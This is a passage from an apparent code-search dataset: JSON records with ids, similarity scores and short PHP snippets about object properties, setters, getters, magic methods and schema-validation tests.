"d51434d710eaaaa1f038b067fa8b2ce6", "score": "0.619936", "text": "protected abstract function defaultProperties();", "title": "" }, { "docid": "cf4f886931062906c0b701d8cc1228f8", "score": "0.6196129", "text": "function can_be_manually_set() {\n return true;\n }", "title": "" }, { "docid": "cf4f886931062906c0b701d8cc1228f8", "score": "0.6196129", "text": "function can_be_manually_set() {\n return true;\n }", "title": "" }, { "docid": "cf4f886931062906c0b701d8cc1228f8", "score": "0.6196129", "text": "function can_be_manually_set() {\n return true;\n }", "title": "" }, { "docid": "e8e59890b14473ce327b31697191468d", "score": "0.61734587", "text": "function uopz_set_property(...$arguments): void {}", "title": "" }, { "docid": "9b567215b388b10f4b09ad1bbac0f4d9", "score": "0.6164574", "text": "protected function initProperties(): void {}", "title": "" }, { "docid": "28d28944c9f48126d2856d7d4dfcce74", "score": "0.616307", "text": "abstract protected static function properties(): SettingProperties;", "title": "" }, { "docid": "98e2a8507818b01b7169084409160102", "score": "0.6148685", "text": "protected function unsetAll ()\r\n {\r\n $properties = $this->getAllowedProperties();\r\n foreach ($properties as $name) {\r\n $str = \"set\" . ucfirst($name);\r\n $this->$str(null);\r\n }\r\n }", "title": "" }, { "docid": "9d22531cb7c455a97d85e5af8ae6d57f", "score": "0.61379147", "text": "public function testPropertyIssetFail() {\n $object = ValueObject::instance(1);\n isset($object->property);\n }", "title": "" }, { "docid": "82936f857c5542545b61d5426373ea0d", "score": "0.61376524", "text": "abstract protected function initProperties() : void;", "title": "" }, { "docid": "7bdccc96e6dff7242490724e4bf5925a", "score": "0.61058396", "text": "public function testOrgApacheSlingCaconfigImplOverrideSystemPropertyConfigurationOve() {\n\n }", "title": "" }, { "docid": "6b4762320ed640029c55499abfb9e7c7", "score": "0.6041185", "text": "public function skipUnknownProperties() {}", "title": "" }, { "docid": "499cb303460f7cdabba818334fff7c51", "score": "0.60396403", "text": "public function skipProperties() {}", "title": "" }, { "docid": "5bd7c0d9a1546c1c1c970d3e9f287542", "score": "0.5995431", "text": "public function set_props($args)\n {\n }", "title": "" }, { "docid": "5bd7c0d9a1546c1c1c970d3e9f287542", "score": "0.59932995", "text": "public function set_props($args)\n {\n }", "title": "" }, { "docid": "4b0aa8eaffb9597b56610782a402d038", "score": "0.5937886", "text": "public function can_be_manually_set() {\n return true;\n }", "title": "" }, { "docid": "4b0aa8eaffb9597b56610782a402d038", "score": "0.5937886", "text": "public function can_be_manually_set() {\n return true;\n }", "title": "" }, { "docid": "37f6cf291c008ff1d73838ff36afd631", "score": "0.59280264", "text": "function saveCustomProperties()\r\r\n\t{\r\r\n\t\t//initializing variables\r\r\n\t\t$properties = $this->getProperties();\r\r\n\t\t\r\r\n \tforeach ($properties as $property => $value)\r\r\n \t{\r\r\n \t\tif ( substr($property,-2) !== '_c' )\r\r\n \t\t{\r\r\n \t\t\tunset($properties[$property]);\r\r\n \t\t}\r\r\n \t}\r\r\n \t\r\r\n \t$this->_save( $properties );\r\r\n\t}", "title": "" }, { "docid": "f001995a8b3be8760dba6e9b22d9a996", "score": "0.5909886", "text": "public function testBypassSetters(): void\n {\n $entity = new class extends Entity {\n protected function _setName(?string $name): string\n {\n throw new Exception('_setName should not have been called');\n }\n\n protected function _setStuff(?array $stuff): array\n {\n throw new Exception('_setStuff should not have been called');\n }\n };\n $entity->setAccess('*', true);\n\n $entity->set('name', 'Jones', ['setter' => false]);\n $this->assertSame('Jones', $entity->name);\n\n $entity->set('stuff', 'Thing', ['setter' => false]);\n $this->assertSame('Thing', $entity->stuff);\n\n $entity->set(['name' => 'foo', 'stuff' => 'bar'], ['setter' => false]);\n $this->assertSame('bar', $entity->stuff);\n }", "title": "" }, { "docid": "50b4e296b459a8c72a498ef1bee4b22f", "score": "0.5904526", "text": "public function testNotStrict(): void\n {\n $properties = new PropertiesValidator(null, false);\n $result = $properties->validate((object)[\n 'foo' => 'bar',\n 'bar' => 'baz',\n ], 'context');\n\n $this->assertTrue($result->isValid());\n }", "title": "" }, { "docid": "0f7e5bc2c222fbcb979f2f74471caee8", "score": "0.58894545", "text": "public function shouldSkipUnknownProperties()\n {\n return false;\n }", "title": "" }, { "docid": "d0637f456306c589bba33de78666cb06", "score": "0.5864011", "text": "abstract public function getPropertyRules();", "title": "" }, { "docid": "1b07848bb37506081f66c98f8d42619c", "score": "0.5859496", "text": "public function getAllowedProperties ()\r\n {\r\n $properties = get_class_vars(get_class($this));\r\n $names = array_keys($properties);\r\n $options = array();\r\n foreach ($names as $name => $value) {\r\n $options[] = substr($value, 1);\r\n }\r\n //put names of all properties you want to deny acess to\r\n $not_allowed = array('mapper', 'init_save');\r\n //return only acessible properties\r\n return array_diff($options, $not_allowed);\r\n }", "title": "" }, { "docid": "796b878237228e2a95720520b62e859c", "score": "0.58549136", "text": "private function _validateProperties() {\n\n\t\t//validate defaultLocation property\n\t\tif(!is_string($this->defaultLocation)) throw new Exception('Directory property defaultLocation needs to be a string value.');\n\t}", "title": "" }, { "docid": "5245f88923ca1f1c16117eb9ddb7d371", "score": "0.5825018", "text": "public function setNonexistent();", "title": "" }, { "docid": "1eba74159966f7c8f4184161100f2286", "score": "0.5815795", "text": "function set_class_properties($properties) {\n foreach ($properties as $property) {\n $line = '$this->private_' . $property . ' = null;';\n eval($line);\n }\n }", "title": "" }, { "docid": "7eb276cc9103fcf6171b2f2ddf782898", "score": "0.5786157", "text": "final public function __set($name, $value)\n {\n throw new \\BadMethodCallException( 'Writing data to inaccessible properties is not allowed.' );\n }", "title": "" }, { "docid": "7eb276cc9103fcf6171b2f2ddf782898", "score": "0.5786157", "text": "final public function __set($name, $value)\n {\n throw new \\BadMethodCallException( 'Writing data to inaccessible properties is not allowed.' );\n }", "title": "" }, { "docid": "7eb276cc9103fcf6171b2f2ddf782898", "score": "0.5786157", "text": "final public function __set($name, $value)\n {\n throw new \\BadMethodCallException( 'Writing data to inaccessible properties is not allowed.' );\n }", "title": "" }, { "docid": "680a692105130169348204390abe4068", "score": "0.5785456", "text": "function setProperties( $properties )\r\r\n\t{\r\r\n\t\t$properties = (array) $properties; //cast to an array\r\r\n\r\r\n\t\tif (is_array($properties))\r\r\n\t\t{\r\r\n\t\t\tforeach ($properties as $k => $v) {\r\r\n\t\t\t\t$this->$k = $v;\r\r\n\t\t\t}\r\r\n\r\r\n\t\t\treturn true;\r\r\n\t\t}\r\r\n\r\r\n\t\treturn false;\r\r\n\t}", "title": "" }, { "docid": "9022c3b4e1ec8bc68c76d3676eb605b3", "score": "0.57486904", "text": "protected function setup_legacy_properties() {\n\n\t\t// Only run this one time\n\t\tif ( ! empty( $this->legacy_properties ) ) {\n\t\t\treturn;\n\t\t}\n\n\t\t$properties = $this->get_legacy_property_list();\n\t\t$params = $this->params;\n\t\t$lp =& $this->legacy_properties;\n\n\t\tforeach ( $properties as $property ) {\n\t\t\tswitch ( $property ) {\n\t\t\t\tcase 'enable_create_step' :\n\t\t\t\t\t$lp['enable_create_step'] = $params['screens']['create']['enabled'];\n\t\t\t\t\tbreak;\n\n\t\t\t\tcase 'enable_edit_item' :\n\t\t\t\t\t$lp['enable_edit_item'] = $params['screens']['edit']['enabled'];\n\t\t\t\t\tbreak;\n\n\t\t\t\tcase 'enable_admin_item' :\n\t\t\t\t\t$lp['enable_admin_item'] = $params['screens']['admin']['enabled'];\n\t\t\t\t\tbreak;\n\n\t\t\t\tcase 'create_step_position' :\n\t\t\t\t\t$lp['create_step_position'] = $params['screens']['create']['position'];\n\t\t\t\t\tbreak;\n\n\t\t\t\t// Note: 'admin' becomes 'edit' to distinguish from Dashboard 'admin'\n\t\t\t\tcase 'admin_name' :\n\t\t\t\t\t$lp['admin_name'] = $params['screens']['edit']['name'];\n\t\t\t\t\tbreak;\n\n\t\t\t\tcase 'admin_slug' :\n\t\t\t\t\t$lp['admin_slug'] = $params['screens']['edit']['slug'];\n\t\t\t\t\tbreak;\n\n\t\t\t\tcase 'create_name' :\n\t\t\t\t\t$lp['create_name'] = $params['screens']['create']['name'];\n\t\t\t\t\tbreak;\n\n\t\t\t\tcase 'create_slug' :\n\t\t\t\t\t$lp['create_slug'] = $params['screens']['create']['slug'];\n\t\t\t\t\tbreak;\n\n\t\t\t\tcase 'admin_metabox_context' :\n\t\t\t\t\t$lp['admin_metabox_context'] = $params['screens']['admin']['metabox_context'];\n\t\t\t\t\tbreak;\n\n\t\t\t\tcase 'admin_metabox_priority' :\n\t\t\t\t\t$lp['admin_metabox_priority'] = $params['screens']['admin']['metabox_priority'];\n\t\t\t\t\tbreak;\n\n\t\t\t\tdefault :\n\t\t\t\t\t// All other items get moved over\n\t\t\t\t\t$lp[ $property ] = $params[ $property ];\n\n\t\t\t\t\t// Also reapply to the object, for backpat\n\t\t\t\t\t$this->{$property} = $params[ $property ];\n\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "fbe254312c4f494abb51edbc73d28a63", "score": "0.57453907", "text": "protected function filter_writable_props($schema)\n {\n }", "title": "" }, { "docid": "fbe254312c4f494abb51edbc73d28a63", "score": "0.57453907", "text": "protected function filter_writable_props($schema)\n {\n }", "title": "" }, { "docid": "fbe254312c4f494abb51edbc73d28a63", "score": "0.57453907", "text": "protected function filter_writable_props($schema)\n {\n }", "title": "" }, { "docid": "2df0a131a022acf1895f93b710a79457", "score": "0.57451683", "text": "protected function loadProperties(): void\n {\n $this->getPropertyBag()\n ->addString('username')\n ->addString('password')\n ->addString('date-of-birth', '', new Date())\n ->addReference('note', $this->findDefinitionAsRef(NotEmptyString::class))\n ->addConst('state', 'United states')\n ->addConst('newsletter', true)\n ->addEnum('enum_values', ['red', 'amber', 'green', null, 42]);\n\n // Example2: old definition properties\n $this->properties = '\n {\n \"username\": {\n \"type\": \"string\"\n },\n \"password\": {\n \"type\": \"string\"\n },\n \"date-of-birth\": {\n \"type\": \"string\",\n \"format\": \"date\"\n },\n \"note\": {\n \"$ref\": \"'.$this->findDefinitionAsRef(NotEmptyString::class).'\"\n },\n \"state\": {\n \"const\": \"United states\"\n },\n \"newsletter\": {\n \"const\": true\n }\n }\n ';\n }", "title": "" }, { "docid": "4790af44cd836391112a9fe594938156", "score": "0.5744422", "text": "public function testIgnoredProperties() {\n $webform_ignored_properties = Webform::load('test_element_ignored_properties');\n $elements = $webform_ignored_properties->getElementsInitialized();\n foreach (WebformElementHelper::$ignoredProperties as $ignored_property) {\n $this->assert(!isset($elements['test'][$ignored_property]), new FormattableMarkup('@property ignored.', ['@property' => $ignored_property]));\n }\n }", "title": "" }, { "docid": "fbe254312c4f494abb51edbc73d28a63", "score": "0.57427895", "text": "protected function filter_writable_props($schema)\n {\n }", "title": "" }, { "docid": "4eb6ab45c7939047ae8aeaa806b30b54", "score": "0.57396334", "text": "protected function set_additional_properties_to_false($schema)\n {\n }", "title": "" }, { "docid": "8cf6794c66daf8e84a23fdf5724626c4", "score": "0.5732918", "text": "public function storeProperties() {\n throw new DAV_Status( DAV::HTTP_FORBIDDEN );\n}", "title": "" }, { "docid": "c96a43b09b96bb972d7ecb41f69cd700", "score": "0.57309455", "text": "protected function resetProperties() {}", "title": "" }, { "docid": "8ff83819f8b7719eda86f9267e19553c", "score": "0.57279104", "text": "public function canSetProperty($name)\n\t{\n\t\treturn method_exists($this,'set'.$name);\n\t}", "title": "" }, { "docid": "d9a35a2921e6576c0a384548a1fdc07d", "score": "0.5725374", "text": "public function setAllProperties() {\n\t\t$this->properties = $this->validProperties;\n\t\treturn $this;\n\t}", "title": "" }, { "docid": "cdd2a67f03b54f391c1b96ec1db398ce", "score": "0.57215744", "text": "public function testProperties()\n {\n $this->assertSetPropertyFails( $this->multipart, \"does_not_exist\", array( 42 ) );\n $this->assertSetProperty( $this->multipart, \"boundary\", array( \"testvalue\" ) );\n try\n {\n $this->multipart->does_not_exist;\n $this->fail( \"Didn't get exception when expected\" );\n }\n catch ( ezcBasePropertyNotFoundException $e )\n {\n }\n }", "title": "" }, { "docid": "cb35ec899760e78573d547109d410607", "score": "0.57209176", "text": "function isValidSetting() ;", "title": "" }, { "docid": "9ad82783b6ba527ec1e654eda6f7cdbd", "score": "0.5720828", "text": "public function testPutProperty()\n {\n }", "title": "" }, { "docid": "f5301fc5eda5d5741f6fae0a92093890", "score": "0.5719573", "text": "public function sanitize_settings() {\n\t\tparent::sanitize_settings();\n\t\t$this->maxRows = absint( $this->maxRows );\n\t\t$this->enableColumns = (bool) $this->enableColumns;\n\t}", "title": "" }, { "docid": "82ab3c3a75d7b6401dfa09765b7ab125", "score": "0.5711672", "text": "final public function __set($name, $value)\n {\n throw new \\Foundation\\Exception\\BadMethodCallException('Writing data to inaccessible properties is not allowed.');\n }", "title": "" }, { "docid": "16eeaa07d1ec57833899adeea67a2a36", "score": "0.5690876", "text": "public function __set($name, $value)\n {\n throw new \\BadMethodCallException( 'Writing data to inaccessible properties is not allowed.' );\n }", "title": "" }, { "docid": "35501a65b2d0238a32207b4e0826f5de", "score": "0.56837803", "text": "public function setRequired();", "title": "" }, { "docid": "85e411feff5dd031d908c00d5147c336", "score": "0.5672551", "text": "public static function setLegacyProperties()\n {\n $object = self::$pdoFetchIntoObject;\n\n $object->userId = \"12345\";\n $object->lastName = \"Doe\";\n $object->firstName = \"John\";\n $object->emailAddress = null;\n $object->phone = null;\n $object->birthDate = null;\n $object->active = null;\n $object->attributes = null;\n }", "title": "" }, { "docid": "046f28f65a11d1fbeff5a82a2f4f8a8f", "score": "0.56631887", "text": "public function __set($property, $value){ }", "title": "" }, { "docid": "80b5584bdb0af3daac4a93fbfd18255a", "score": "0.56358963", "text": "function set_property($properties=''){\n // set inherited from Object\n $this->_set(array('text'=>'testing',\n 'test'=>'Testing'));\n $vars = get_object_vars($this);\n //echo_array($vars);break;\n }", "title": "" }, { "docid": "212e26df1c4cfe619273f89dfb09e444", "score": "0.5628906", "text": "public function setProperties(array $data);", "title": "" }, { "docid": "7484b1861ed8e93f4f579432f5c8ea58", "score": "0.56227493", "text": "function __set($name,$value)\n {\n throw new BadMethodCallException('attribute set disabled.');\n }", "title": "" }, { "docid": "2605b3dc6a11cabd108884bec6db90f6", "score": "0.56223464", "text": "public function init()\n {\n parent::init();\n $booleanProperties = ['useTablePrefix', 'showOnly', 'generalSchema', 'fixHistory'];\n foreach ($booleanProperties as $property) {\n if ($this->$property !== true) {\n if ($this->$property === 'true' || $this->$property === 1) {\n $this->$property = true;\n }\n $this->$property = (bool)$this->$property;\n }\n }\n }", "title": "" }, { "docid": "cd16c030e97dbafa4954ec27203d8c78", "score": "0.5620075", "text": "private function setPropSoftDelete(): void\n {\n if ($this->isSoftDelete()) {\n $this->createPropertyArray(ModelsInterface::PROPERTY_DATES, PhpInterface::PHP_MODIFIER_PROTECTED, [ModelsInterface::COLUMN_DEL_AT]);\n }\n }", "title": "" }, { "docid": "89f7a9580cd1c7050e57817fc1e2bb47", "score": "0.5601943", "text": "public function testValidatePropertyConstraint()\n {\n }", "title": "" }, { "docid": "a3b96b99895dae4742a2341e18418e73", "score": "0.55926436", "text": "public function testAdditionalProperties() {\n $sch = new Schema([\n 'type' => 'object',\n 'additionalProperties' => [\n 'type' => 'boolean',\n ],\n ]);\n\n $valid = $sch->validate(['a' => 'false', 'B' => 'true']);\n $this->assertEquals(['a' => false, 'B' => true], $valid);\n }", "title": "" }, { "docid": "47001ccabd09d0b801495e9352c597ba", "score": "0.5591514", "text": "public function testPropertiesWithAdditionalProperties() {\n $sch = new Schema([\n 'type' => 'object',\n 'properties' => [\n 'b' => [\n 'type' => 'string',\n ],\n ],\n 'additionalProperties' => [\n 'type' => 'boolean',\n ],\n ]);\n\n $valid = $sch->validate(['A' => 'false', 'b' => 'true']);\n $this->assertEquals(['A' => false, 'b' => 'true'], $valid);\n }", "title": "" }, { "docid": "7c4dd94ab4444f0c8b34f0859faab1c9", "score": "0.55914", "text": "public function validateSettings();", "title": "" }, { "docid": "fe76c937e5951d9449f9fd3f50904b56", "score": "0.55907094", "text": "public function support($property);", "title": "" }, { "docid": "5bd9c97b001d2d224152b1499b5eae27", "score": "0.55751354", "text": "public function testTrueAdditionalProperties() {\n $sch = new Schema([\n 'type' => 'object',\n 'properties' => [\n 'b' => [\n 'type' => 'string',\n ],\n ],\n 'additionalProperties' => true,\n ]);\n\n $valid = $sch->validate(['A' => 'false', 'b' => 'true']);\n $this->assertEquals(['A' => 'false', 'b' => 'true'], $valid);\n }", "title": "" }, { "docid": "f965256f371909e855b7f9ff673c582c", "score": "0.5571461", "text": "public function sanitize_settings() {\n\t\tparent::sanitize_settings();\n\t}", "title": "" }, { "docid": "1b55a37e4358a798720b3cf80fbbddaf", "score": "0.55675596", "text": "public function setProperty($name, $value) {}", "title": "" }, { "docid": "1b55a37e4358a798720b3cf80fbbddaf", "score": "0.55675596", "text": "public function setProperty($name, $value) {}", "title": "" }, { "docid": "1b55a37e4358a798720b3cf80fbbddaf", "score": "0.55675596", "text": "public function setProperty($name, $value) {}", "title": "" }, { "docid": "1b55a37e4358a798720b3cf80fbbddaf", "score": "0.55675596", "text": "public function setProperty($name, $value) {}", "title": "" }, { "docid": "1b55a37e4358a798720b3cf80fbbddaf", "score": "0.55675596", "text": "public function setProperty($name, $value) {}", "title": "" }, { "docid": "67a68ebacee4faddf3326064e49e0ae4", "score": "0.5560587", "text": "public function testPropertyMissing(): void\n {\n $validator = $this->createMock(ValidatorInterface::class);\n $validator\n ->expects($this->never())\n ->method('validate');\n\n $properties = new PropertiesValidator([\n 'foo' => $validator,\n ]);\n $result = $properties->validate((object)[], 'context');\n\n $this->assertFalse($result->isValid());\n }", "title": "" }, { "docid": "acf410ed6ad720575a2a43675358557d", "score": "0.55533516", "text": "public static function setters();", "title": "" }, { "docid": "acf410ed6ad720575a2a43675358557d", "score": "0.55533516", "text": "public static function setters();", "title": "" }, { "docid": "acf410ed6ad720575a2a43675358557d", "score": "0.55533516", "text": "public static function setters();", "title": "" }, { "docid": "acf410ed6ad720575a2a43675358557d", "score": "0.55533516", "text": "public static function setters();", "title": "" }, { "docid": "acf410ed6ad720575a2a43675358557d", "score": "0.55533516", "text": "public static function setters();", "title": "" }, { "docid": "acf410ed6ad720575a2a43675358557d", "score": "0.55533516", "text": "public static function setters();", "title": "" }, { "docid": "acf410ed6ad720575a2a43675358557d", "score": "0.55533516", "text": "public static function setters();", "title": "" }, { "docid": "acf410ed6ad720575a2a43675358557d", "score": "0.55533516", "text": "public static function setters();", "title": "" }, { "docid": "acf410ed6ad720575a2a43675358557d", "score": "0.55533516", "text": "public static function setters();", "title": "" }, { "docid": "acf410ed6ad720575a2a43675358557d", "score": "0.55533516", "text": "public static function setters();", "title": "" }, { "docid": "acf410ed6ad720575a2a43675358557d", "score": "0.55533516", "text": "public static function setters();", "title": "" }, { "docid": "500c914c60dc5ce7d9bc3643f14ad0c3", "score": "0.5551682", "text": "public function __set($name, $value)\n {\n throw new \\Foundation\\Exception\\BadMethodCallException('Writing data to inaccessible properties is not allowed.');\n }", "title": "" }, { "docid": "b2337f87ce56301b18a62f7cb460e94d", "score": "0.55396384", "text": "abstract public function prepare_props();", "title": "" }, { "docid": "5e279ca6e87d11e200a589ebc08f40dc", "score": "0.5534694", "text": "public function checkPropertiesAccess($a = null)\n {\n throw new NotImplementedException(__METHOD__);\n }", "title": "" } ]
b4e4bc014552cbddf38c3d9083b6b585
variable getter magic method
[ { "docid": "cedba75dce8809bbad2765fca4566548", "score": "0.0", "text": "public function __get($var) {\n\t\treturn (isset($this->$var)) ? $this->$var : false;\n\t}", "title": "" } ]
[ { "docid": "ba999a8f4e406a01cf85828c7568bf2e", "score": "0.75300854", "text": "function __get($variable)\n {\n return $this->values[$variable];\n }", "title": "" }, { "docid": "f9672b492de4ee920fbd96f092b9d1c4", "score": "0.735459", "text": "abstract public function get() ;", "title": "" }, { "docid": "48b365d6e36dd99167216db96c269525", "score": "0.7346083", "text": "public function get($variable);", "title": "" }, { "docid": "35f8ff218e4c2a5ffd6533829018fd5f", "score": "0.7323683", "text": "abstract protected function _get();", "title": "" }, { "docid": "e802366590f1cbe09fd8090ae3d33e58", "score": "0.72514063", "text": "abstract public function get();", "title": "" }, { "docid": "e802366590f1cbe09fd8090ae3d33e58", "score": "0.72514063", "text": "abstract public function get();", "title": "" }, { "docid": "e802366590f1cbe09fd8090ae3d33e58", "score": "0.72514063", "text": "abstract public function get();", "title": "" }, { "docid": "e802366590f1cbe09fd8090ae3d33e58", "score": "0.72514063", "text": "abstract public function get();", "title": "" }, { "docid": "e802366590f1cbe09fd8090ae3d33e58", "score": "0.72514063", "text": "abstract public function get();", "title": "" }, { "docid": "8e4e1abc87efbfff6033d8d26a6ee571", "score": "0.72418886", "text": "public function __get($varName) {\n return $this->$varName;\n }", "title": "" }, { "docid": "070fc6433eda7e5a1c5b17890f263645", "score": "0.718305", "text": "public function __get($value);", "title": "" }, { "docid": "49d9e1cc991185a13810c59df7c64fc0", "score": "0.713302", "text": "public function __get($name){\n\t\treturn $this->_vars->{$name} ;\n\t\t//return isset($this->_vars[$name]) ? $this->_vars[$name] : null;\n\t}", "title": "" }, { "docid": "de5db0ca01ce2a41d628aaa474d0a1f4", "score": "0.710017", "text": "public function __get( $value );", "title": "" }, { "docid": "af79587ae658b914ad6f62f27aa9008c", "score": "0.6930239", "text": "function __get($name)\n {\n }", "title": "" }, { "docid": "48bc6b1a65df7ecdafd36749bf47b983", "score": "0.69218785", "text": "function get();", "title": "" }, { "docid": "2a04d8e533cc68634d43e34b03a60723", "score": "0.6903935", "text": "public function __get($key) {\n return $this->vars[$key];\n }", "title": "" }, { "docid": "bd69393e8e2296f2ecb9355a0b1c19a0", "score": "0.68758744", "text": "public function __get($_name);", "title": "" }, { "docid": "de1e55609a9bf9c0bfcfe4621b921172", "score": "0.68338716", "text": "public function __get($var){\n return get_instance()->$var;\n}", "title": "" }, { "docid": "fbb583658ad34e8a83d637945ae5392d", "score": "0.6830181", "text": "public function __get($name)\n {\n # Check if we have\n// print $name;\n// if (property_exists($this->application->model_objects, $name)) {\n// return $this->application->model_objects->$name;\n// }\n\n return $this->variables[$name];\n }", "title": "" }, { "docid": "357ec145326a83cdc7bb09c8eaf16066", "score": "0.68232745", "text": "public function __get($name);", "title": "" }, { "docid": "357ec145326a83cdc7bb09c8eaf16066", "score": "0.68232745", "text": "public function __get($name);", "title": "" }, { "docid": "357ec145326a83cdc7bb09c8eaf16066", "score": "0.68232745", "text": "public function __get($name);", "title": "" }, { "docid": "a4f4d3d40bcaa246b079dddfe54537df", "score": "0.68111026", "text": "public static function getters();", "title": "" }, { "docid": "a4f4d3d40bcaa246b079dddfe54537df", "score": "0.68111026", "text": "public static function getters();", "title": "" }, { "docid": "a4f4d3d40bcaa246b079dddfe54537df", "score": "0.68111026", "text": "public static function getters();", "title": "" }, { "docid": "a4f4d3d40bcaa246b079dddfe54537df", "score": "0.68111026", "text": "public static function getters();", "title": "" }, { "docid": "635ee03cac9a7c6d01b64d42dbf57ae5", "score": "0.6805178", "text": "function __get($name) {\n\t\t\t\t\tif (array_key_exists($name,$this->vars)) {\n\t\t\t\t\t\treturn $this->vars[$name];\n\t\t\t\t\t}\n\t\t\t\t\treturn null;\n\t\t\t\t}", "title": "" }, { "docid": "66af83cdcd03f677ae290b1e6e584692", "score": "0.67714655", "text": "function get()\n {\n }", "title": "" }, { "docid": "c2a8ee51b18a90dac3b00f24a7b4e7cb", "score": "0.6753321", "text": "public function __get($var) {\n\t\treturn get_instance()->$var;\n\t}", "title": "" }, { "docid": "90d88fb5494d9dbc0046bd16d5098772", "score": "0.67416316", "text": "public static function get(): string;", "title": "" }, { "docid": "a8dd8f0b42ff3d41430f10d090dde2cd", "score": "0.67310804", "text": "function __get($name) {\n\t\treturn $this->object[$name];\n\t}", "title": "" }, { "docid": "85505743dfb15ff834ddb580f06a7c58", "score": "0.67013085", "text": "public function get_var() {\n\t\treturn $this->var;\n\t}", "title": "" }, { "docid": "42d00340a2f631fc50429051b264fde0", "score": "0.66915745", "text": "function get_variable()\r\n {\r\n return $this->get_default_property(self :: PROPERTY_VARIABLE);\r\n }", "title": "" }, { "docid": "076ea173ff2c631f83bba2f472038785", "score": "0.6682391", "text": "function __($var)\n {\n return $var;\n }", "title": "" }, { "docid": "a1297c19675a0f73fc85b6c37a830dff", "score": "0.6668399", "text": "function __get($name)\n { return $this->$name = $this->$name();\n }", "title": "" }, { "docid": "0dc9f482ce01a39f6a1c56a758ccc5b3", "score": "0.6649724", "text": "public function __get($var)\n\t{\n\t\treturn get_instance()->$var;\n\t}", "title": "" }, { "docid": "0dc9f482ce01a39f6a1c56a758ccc5b3", "score": "0.6649724", "text": "public function __get($var)\n\t{\n\t\treturn get_instance()->$var;\n\t}", "title": "" }, { "docid": "0dc9f482ce01a39f6a1c56a758ccc5b3", "score": "0.6649724", "text": "public function __get($var)\n\t{\n\t\treturn get_instance()->$var;\n\t}", "title": "" }, { "docid": "0dc9f482ce01a39f6a1c56a758ccc5b3", "score": "0.6649724", "text": "public function __get($var)\n\t{\n\t\treturn get_instance()->$var;\n\t}", "title": "" }, { "docid": "fccb5f25e9431809f621b9eff10487c4", "score": "0.66235363", "text": "public function __get($var)\n {\n return $this->$var;\n }", "title": "" }, { "docid": "ea95706b0b62322db0c17ee32c7beb3b", "score": "0.6621671", "text": "public function __get($var)\n\t{\n\t\treturn $this->$var;\n\t}", "title": "" }, { "docid": "e44d956a918ac5a852a333fe4ed823eb", "score": "0.6617822", "text": "public function __get($variable)\n\t{\n\t\treturn $this->get_field($variable);\n\t}", "title": "" }, { "docid": "edfacefa6e3d561c474195f5b71dfc31", "score": "0.6614337", "text": "public function __get( $variable ) {\n\t\treturn $this->get($variable);\n\t}", "title": "" }, { "docid": "493fc78b258c32955a786b9e1933ac9e", "score": "0.6611973", "text": "public function __get($name){\r\n }", "title": "" }, { "docid": "f55dd9d3c8bff8f42b753f18efc61e50", "score": "0.6604707", "text": "public function __get($var)\n {\n return get_instance()->$var;\n }", "title": "" }, { "docid": "b4d1eca243a701deaa1e1d0d5e12cde3", "score": "0.6590127", "text": "public function __get( $var_name )\n\t{\n\t\t$exclusions = array( 'm_common' );\n\t\t\n\t\tif( !in_array( $var_name, $exclusions ) ) \n\t\t{\n\t\t\t$return = $this->$var_name;\n\t\t}\n\t\t\n\t\treturn $return;\n\t\t\n\t}", "title": "" }, { "docid": "23d6fe70d1b5dc0ac743bcea53bfb1cd", "score": "0.65871733", "text": "public function __get($var){\r\n return isset($this->$var)?$this->$var:'';\r\n }", "title": "" }, { "docid": "cdd897c07d4427aa0e1ace81e4192947", "score": "0.6577449", "text": "function __get( $name ) {\n\t\treturn $this->$name;\n\t}", "title": "" }, { "docid": "f0e5b127d986e651a1e79c5e2cc6fc76", "score": "0.6576795", "text": "public function __get($var)\n\t{\n\t\treturn get_instance()->{$var};\n\t}", "title": "" }, { "docid": "ead196979761a2bf0ee44a0f50a51cc2", "score": "0.6567669", "text": "function getVariableContainer() ;", "title": "" }, { "docid": "46ac13e13a1c6238340efc069dd8ef12", "score": "0.65416825", "text": "abstract protected function getValue();", "title": "" }, { "docid": "46ac13e13a1c6238340efc069dd8ef12", "score": "0.65416825", "text": "abstract protected function getValue();", "title": "" }, { "docid": "e0045bb0db17a4f5ef58bf8888aef617", "score": "0.6524822", "text": "function __get($varname) {\n\t\tif (!isset( $this->properties[$varname] )) {\n\t\t\treturn null;\n\t\t} elseif (is_callable( $this->properties[$varname] )) {\n\t\t\treturn call_user_func($this->properties[$varname]);\n\t\t} else {\n\t\t\treturn $this->properties[$varname];\n\t\t}\n\t}", "title": "" }, { "docid": "d3ba358d4dda7adb463048383f33908b", "score": "0.6522138", "text": "public function get() {}", "title": "" }, { "docid": "49d0d5dbe57b445d67efd2852c05dcb2", "score": "0.65203553", "text": "public function __get($k) {\r\n\t\treturn self::$vars[$k];\t\r\n\t}", "title": "" }, { "docid": "595cb3534684c690e822823382f92377", "score": "0.65197915", "text": "public function __get($name){\n return $this->$name; \n }", "title": "" }, { "docid": "d3ba358d4dda7adb463048383f33908b", "score": "0.65196496", "text": "public function get() {}", "title": "" }, { "docid": "d3ba358d4dda7adb463048383f33908b", "score": "0.65196496", "text": "public function get() {}", "title": "" }, { "docid": "d3ba358d4dda7adb463048383f33908b", "score": "0.65196496", "text": "public function get() {}", "title": "" }, { "docid": "8f26769097f76571a2e489da81dad7ee", "score": "0.6504567", "text": "public function __get($name) {\n\t\tswitch ($name) {\n\t\t\tcase '_vars':\n\t\t\tcase 'vars':\n\t\t\t\tif (isset($this->_vars[$name])) {\n\t\t\t\t\treturn $this->_vars[$name]->get();\n\t\t\t\t} else {\n\t\t\t\t\ttrigger_error('Use $this->getVars() of $this->' . $name . ' instead!', E_USER_DEPRECATED);\n\t\t\t\t\treturn $this->_vars;\n\t\t\t\t}\n\t\t\tcase 'cleanVars':\n\t\t\t\ttrigger_error('Use $this->toArray() of $this->' . $name . ' instead!', E_USER_DEPRECATED);\n\t\t\t\treturn $this->toArray();\n\t\t\tdefault:\n\t\t\t\tif (!isset($this->_vars[$name])) {\n\t\t\t\t\t$callers = debug_backtrace();\n\t\t\t\t\ttrigger_error(sprintf('%s undefined for %s (in line %d)', $name, $callers[0]['file'], $callers[0]['line']), E_USER_WARNING);\n\t\t\t\t\treturn;\n\t\t\t\t} else {\n\t\t\t\t\treturn $this->_vars[$name]->get();\n\t\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "8efd5b5a626ac1d432eb91023e75577e", "score": "0.6496785", "text": "function __get($var){\n\t\tif(method_exists($this, $var)){\n\t\t\treturn $this->$var();\n\t\t}else if(isset($this->data[$var])){\n\t\t\treturn XSS::filter($this->data[$var]);\n\t\t}else{\n\t\t\treturn 